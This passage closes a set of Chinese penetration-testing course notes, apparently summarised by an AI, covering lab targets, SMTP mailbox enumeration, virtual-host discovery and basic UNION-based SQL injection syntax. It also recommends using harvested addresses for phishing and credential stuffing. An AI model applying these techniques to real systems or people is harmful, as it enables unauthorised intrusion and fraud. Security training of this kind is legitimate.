将继续在下次直播中“既讲注入专题，又保持实战进度”，不会只停留在理论。
强调“学会原理才是真本事”，因为若只记绕过字符或现成脚本，一旦换场景就无法举一反三。
答疑环节里提到一些学员困惑：
“二级域名是否一定要这样绑定 hosts？”
“Next Cloud 那边如果没有暴露版本，该如何确认漏洞？”
…等等，讲师一一回答，思路都是：更多实际练习，多查看官方文档/公开漏洞库，多与团队配合做整体评估。
总体总结与知识点梳理
本次笔记的主要知识点，可以归纳为下列几个大主题，并贯穿了录音从头到尾的时间顺序：
渗透测试整体进度与思路
扫描与评估应全面，结合历史文档注意更新变动。
对每一台机器、每一个端口都要做细节挖掘，避免放过潜在突破口。
SMTP/ESMTP 协议详解
Banner、状态码 (
220,250,550等)、命令 (HELO/EHLO,VRFY,MAIL FROM,RCPT TO…) 的作用与意义。Postfix 的常见扩展、验证邮箱在社工或钓鱼中的价值。
收集服务器信息时的思维
看 Banner、证书、DNS 记录、子域名、解析方式。
发现多个域名常映射到同一 IP，需用
hosts+ “主机头”方式逐一访问，以发现“隐藏”站点或后台。
Web 站点与 SQL 注入
提前预告 SQL 注入的系统化专题，包括注入基础、语法、信息架构、盲注、二阶注入、数据库差异化。
强调注入思路：先判断注入点，再测列数，然后结合
information_schema或相应系统表枚举数据。
实战与专题结合的教学规划
下一步：88 机器的注入尝试；74 机器 SMTP 发邮件、钓鱼；231 Next Cloud；Jangle Admin 对证书管理的潜在控制；最后进入内网更深层渗透。
学习方法
切忌仅依赖工具或“标准 Payload”，应透彻理解底层机制、协议细节、数据库语法，才能应对各种字符过滤或 WAF 绕过。
最后附录：命令与扩展补充
以下是课程中提及或推导到的一些重要命令、测试思路或常见资料来源，再次汇总供你参考。
SMTP 交互常用命令
telnet <ip> 25：初步连接 SMTP，观察 Banner。EHLO <hostname>/HELO <hostname>：获取服务器扩展特性。VRFY <username@xxx>：验证用户邮箱是否存在。MAIL FROM: <...>+RCPT TO: <...>+DATA：完整发信流程（将在“钓鱼专题”中更详细演示）。
SQL 注入常用语法（MySQL 举例）
order by n：测试列数是否 >= n。union select 1,2,3,...：进一步判断可回显的列位置。information_schema.tables/information_schema.columns：枚举所有库表。select table_name from information_schema.tables where table_schema='db_name'：列出某库中的所有表名。select column_name from information_schema.columns where table_name='xxx'：列出某表所有列名。
工具与网站
Searchsploit：在 Kali Linux 或 Parrot OS 中自带，快速检索 Exploit-DB 的离线库。
Google/GitHub：查找对特定版本软件（如 Postfix/Next Cloud）已披露的安全漏洞。
DVWA：本地练习 SQL 注入等通用漏洞的经典靶场。
思维要点
配合社会工程，如利用收集到的邮箱地址做撞库、弱密码尝试或钓鱼。
关注证书信息：自签名 CA、域名、指纹信息，都可能揭示内网架构或管理系统。
遇到双因素验证（2FA）场景，要评估是否存在供应商漏洞，或者是否可在社工中绕过。
结语
以上就是对你所提供的完整课程笔记内容，按知识点与出现顺序所做的最全面、最详细的整理与拓展。所有要点均已覆盖，且配合了课程中对协议、命令、思路以及后续学习重点的阐述。整个笔记的脉络大致如下：
整体背景与剩余漏洞评估
SMTP 25 端口及其深入讲解
88 端口及 SQL 注入专题引入
其余机器（231、242 等）扫描与发现
Next Cloud 与域名/证书信息
SQL 注入专题：基础知识与后续进阶预告
实战进度与下步方向
课程收尾与思路总结
希望此文档能帮助你更好地消化和吸收课程当中的全部关键知识点，并在后续的渗透或学习过程中有所借鉴。所有内容皆严格依据你提供的录音笔记进行分块整理，无任何遗漏与删节，并通过恰当的结构编排使之更具体系化与可读性。祝学习顺利，假期愉快!
-.-
评论区